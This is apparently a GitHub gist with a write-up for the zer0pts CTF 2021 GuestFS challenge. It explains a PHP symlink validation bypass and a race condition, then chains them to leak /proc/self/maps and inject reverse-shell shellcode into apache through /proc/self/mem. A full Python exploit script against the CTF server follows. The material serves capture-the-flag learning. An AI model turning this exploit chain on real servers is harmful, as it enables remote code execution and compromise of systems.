Skip to content

Instantly share code, notes, and snippets.

@farazsth98
Last active December 11, 2023 19:24
Show Gist options
  • Save farazsth98/fa8bf4184b084032d374090b0fe4da29 to your computer and use it in GitHub Desktop.
Save farazsth98/fa8bf4184b084032d374090b0fe4da29 to your computer and use it in GitHub Desktop.
zer0pts CTF 2021 - GuestFS

Vulnerabilities

This was a two part challenge, and I have to cover the vulnerability for the web version as well because its used in the final exploit for RCE.

Files can be found here.

Bug 1: Bypass validate_path() checks

The create() function is as follows:

/**
 * Create a new file
 *
 * @param string $name Filename to create
 * @param int $type File type (0:normal/1:symlink)
 * @param string $link Path to the real file (when $type=1)
 */
function create($name, $type=0, $target="")
{
    $this->validate_filename($name);

    if ($type === 0) {

        /* Create an empty file */
        $fp = @fopen($this->root.$name, "w");
        @fwrite($fp, '');
        @fclose($fp);

    } else {

        /* Target file must exist */
        $this->assert_file_exists($this->root.$target);

        /* Create a symbolic link */
        @symlink($target, $this->root.$name); // [ 1 ]

        /* This check ensures $target points to inside user-space */
        try {
            $this->validate_filepath(@readlink($this->root.$name));
        } catch(Exception $e) {
            /* Revert changes */
            @unlink($this->root.$name);
            throw $e;
        }

    }
}

As you can see, you are able to create a normal file, or a symbolic link. Either way, the file name you create is verified to be /[^a-z0-9]/. There is a symbolic link specific check that calls validate_filepath to make sure that the symbolic created at [ 1 ] does not point to a file that is outside the current directory:

function validate_filepath($path)                                           
{                                                                           
    if (strpos($path, "/") === 0) {                                         
        throw new Exception('invalid filepath (absolute path)');            
    } else if (strpos($path, "..") !== false) {                             
        throw new Exception('invalid filepath (outside user-space)');       
    }                                                                       
}  

The issue though is that the symlink is already created first before the check happens. I don't exactly know why PHP symlink behaves differently, but essentially, if you do the following steps, then you can bypass this check and create a symlink to ../../../../flag to get the flag:

  1. Create a file named "flag"

  2. Create a symlink to "flag", name it "file"

  3. Delete "flag". Now, "file" still exists, but it is a dangling symlink to a non-existent "flag"

  4. Now, in normal bash / sh, if you use ln -s ../../../../flag ./file, it will complain and say that "file" already exists.

    However, if you use PHP symlink, it will actually follow "file" to its non-existent symlink called "flag", and then create a symlink file called "flag". This "flag" symlink will then point to "../../../../flag". So basically you have a chain of symlinks that go file -> flag -> ../../../../flag.

At this stage you can just read the file or flag to get the real flag from /flag. Now how does the above let you bypass the validate_filepath() check in create()? Well, let's see how its called:

/* This check ensures $target points to inside user-space */
try {
    $this->validate_filepath(@readlink($this->root.$name));
} catch(Exception $e) {
    /* Revert changes */
    @unlink($this->root.$name);
    throw $e;
}

@readlink($this->root.$name) is called, which is essentially @readlink("file"). Since "file" is a symlink to newly created "flag" (remember the symlink is done before the validation), @readlink("file") actually returns "flag", which passes the checks! However, "flag" points to "../../../../flag", which lets us read the flag.

Bug 2: Race condition in read() and write()

Both of these functions have the same bug, but we really only use the one in read(), so I'll explain that one here:

/**                                                                         
    * Read a file                                                              
    *                                                                          
    * @param string $name Filename to read                                     
    * @param int $offset Offset to read                                        
    */                                                                         
function read($name, $size=-1, $offset=0)                                   
{                                                                           
    /* Check filename, size and offset */                                   
    $this->validate_filename($name);                                        
    $this->assert_file_exists($this->root.$name);                           
    $size = $this->validate_bounds($this->root.$name, $size, $offset);      
                                                                            
    /* This may alleviate heavy disk load. */                               
    usleep(500000);                                                         
                                                                            
    /* Read contents */                                                     
    $fp = @fopen($this->root.$name, "r");                                   
    @fseek($fp, $offset, SEEK_SET);                                         
    $buf = @fread($fp, $size);                                              
    @fclose($fp);                                                           
                                                                            
    return $buf;                                                            
}   

Looking at it, it seems pretty obvious that the validations are done before the 0.5 second sleep. Within that 0.5 second sleep, there is nothing stopping us from making more requests to delete the file we are reading or etc.

Leaking the memory mappings of apache2

Assuming we use symlinks, we can do the following:

  1. /proc/self/maps size is 0, so if we try to read it directly with the previous bug, then it won't print anything due to validate_bounds() returning a size of 0. So first, we create a very large file (just create a normal file and write 0xa0000 bytes to it).
  2. Create a symlink to this file. The $stat() call in validate_bounds() will return 0xa0000 since thats the real size of the file.
  3. Next, while the usleep(500000) is running, we make another request to delete the symlink, and point it to ../../../../proc/self/maps using the previous bug.
  4. When the final read occurs, it will read ../../../../proc/self/maps with size = 0xa0000. Sice!

But it didn't work. Turns out, PHPSESSID is a cookie value that determines your current session. The second thing it does is it prevents race conditions! What do I mean by that? Well, if we send a request to read() and it hangs at the sleep, then any other request we send will have to wait before PHP handles it.

We first found out about this issue because we couldn't trigger the race condition at all. For some reason, parrot decided to delete /tmp/sess* files (which are created per PHPSESSID on the server) after the usleep in read(), but before deleting the symlink. Surprisingly, it worked!

Once we found this out, we spent quite a bit of time thinking about how we were gonna delete our session on the server, but I came up with another solution after a little while.

We can craft our own PHPSESSID, so we can have two sessions in a way where both sessions know about each other's PHPSESSID. Since we can create files and stuff, the code in index.php actually does this to sandbox each session:

$userspace = md5(session_id());                                                 
$fs = new GuestFS("../root/$userspace/"); 

Our files are stored in this new directory. Knowing this, we can actually just set up the files in a way where we have one session do a read() on a symlink that points to a file within a second session! Within that second session, we can delete and re-symlink the file to ../../../../proc/self/maps and get a leak!

One caveat is that this race window isn't too long. I couldn't get the leaks from remote locally, but luckily Super Guesser has a VPS, and running the leak_maps() function in my exploit script through there works perfectly and returns a huge /proc/self/maps output in log.txt.

Once you have the leaks remotely, they always stay the same (because apache2 just opens new child processes if one of them crashes, and they all share the same exact memory mappings). So the final thing to do was to get RCE.

RCE

In order to get RCE, my idea was to overwrite some code within the current process (by using /proc/self/mem + write()). After a lot of trial and error, parrot found that overwriting libpthread's r-x region with a bunch of A's would crash the process locally. It would restart automatically but this was good news.

I then went through and started doing this manual binary search locally, where I overwrote the first 0x1000 bytes of the libpthread r-x region with "A"s and observed a crash. Then I overwrote 0x800 bytes, then 0x400, etc etc, until I found that overwriting exactly at offset 0x320 of the r-x region caused a crash, but not anywhere before that.

Knowing this, I got some reverse shell shellcode from https://www.exploit-db.com/exploits/41477, pointed it to our VPS, compiled with nasm -fbin shellcode.asm -o shellcode.bin, then overwrote offset 0x320 of libpthread's r-x region with the shellcode. This spawned a reverse shell, and I got the flag.

Exploit

#!/usr/bin/env python3

import requests
import threading
from time import sleep
import hashlib

sess1 = {"PHPSESSID":"qweqweqweqwe"}
sess2 = {"PHPSESSID":"asdasdasdasd"}
#url = "http://localhost:8080/"
url = "http://any.ctf.zer0pts.com:9080/"

def create(name, mode, target="", cookies=sess1):
    if mode:
        conn = requests.post(url, cookies=cookies, data={"mode":"create", "name":name, "type":str(mode) ,"target":target})
    else:
        conn = requests.post(url, cookies=cookies, data={"mode":"create", "name":name})

def read(filename, offset=0, cookies=sess1):
    conn = requests.post(url, cookies=cookies, data={"mode":"read", "name":filename, "offset":offset})
    r1 = conn.text
    #print(r1)
    f = open("log.txt","wb+")
    f.write(r1.encode())
    f.write(b"\n\n")
    f.close()

def write(filename, msg, offset=0, cookies=sess1):
    conn = requests.post(url, cookies=cookies, data={"mode":"write","data":msg,"name":filename, "offset":str(offset)})
    print(conn.text)

def delete(dest, cookies=sess1):
    conn = requests.post(url, cookies=cookies, data={"mode":"delete", "name":dest})

# In order to understand the bug in this function, I would suggest to get a shell in the
# docker container and go to /var/www/root, find your session's folder, and see how each step
# changes the files in there.
def leak_maps():
    cookie2_md5 = hashlib.md5(sess2["PHPSESSID"].encode()).hexdigest()

    # Delete any existing files of this name
    delete("file", sess1)
    delete("flag", sess1)
    delete("maps", sess1)
    delete("file", sess2)
    delete("flag", sess2)
    delete("maps", sess2)

    # ========= SESSION 2 ===========
    # Create a "maps" file and make its size huge because /proc/self/maps is
    # huge (because apache is beefy af)
    create("maps", 0, "", sess2)
    write("maps", "A"*0xa0000, 0, sess2)

    # Create a symlink to "maps" called "file"
    create("file", 1, "maps", sess2)

    # ========= SESSION 1 ===========
    # Create a file called "flag"
    create("flag", 0)

    # Create a symlink to "flag" called "file"
    create("file", 1, "flag")

    # Delete "flag". Now if you check the directory with ls -l, you will see
    # that "file" is actually "file -> flag" even though "flag" doesn't exist
    delete("flag")

    # Create a symlink with target = "../md5(SESS2_PHPSESSID)/file". This works
    # now because `@readlink("file")` in `create()` will return "flag", which
    # passes the `validate_filepath()` checks. The symlink is still created.
    create("file", 1, "../" + cookie2_md5 + "/file")

    # Now we need two threads for the race, check each function's code below.
    # Note that the race window is small, we had to use a server in europe to
    # get lower latency (i couldnt get leaks locally). Play around with the
    # sleep in func2() (and maybe add a sleep in func1() idk) to get it to work
    # on your machine.
    t1 = threading.Thread(target=func1);
    t2 = threading.Thread(target=func2);

    t1.start()
    t2.start()

    t1.join()
    t2.join()

# In thread 1, we use session 1. We just read the file. This will read and go
# into a sleep for 0.5 seconds.
def func1():
    read("file")

# During the sleep from above, we delete the "maps" file in session 2, and
# replace the "file" symlink with "/proc/self/maps" (using the same bug as
# we used above to point session 1's "file" to session 2's "file").
#
# Finally, after the sleep in func1() finishes, it will read /proc/self/maps
# and send us the leaks.
def func2():
    sleep(0.1)
    delete("maps", sess2)
    create("file", 1, "../../../../../proc/self/maps", sess2)

def rce():
    delete("file")
    delete("flag")
    delete("maps")

    # Reverse shell shellcode, u just replace this with reverse shell that u
    # want, compiled with nasm -fbin
    sc = None
    with open("./shell.bin", "rb") as f:
        sc = f.read()

    # Get a handle to /proc/self/mem using the same bugs explained in
    # leak_maps()
    create("flag", 0)
    create("file", 1, "flag")
    delete("flag")
    create("file", 1, "../../../../../proc/self/mem")

    # Overwrite libpthread's r-x section offset 0x320 with shellcode. This
    # offset was found using manual binary search locally :megajoy:
    #
    # It will cause the apache process to crash, and subsequently send a
    # reverse shell that you can catch with nc -lvnp 4444
    write("file", sc, 0x7f6a7f8e3320)

if __name__ == "__main__":
    #leak_maps() # Use this to get leaks, only need to do this once
    rce() # sice
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment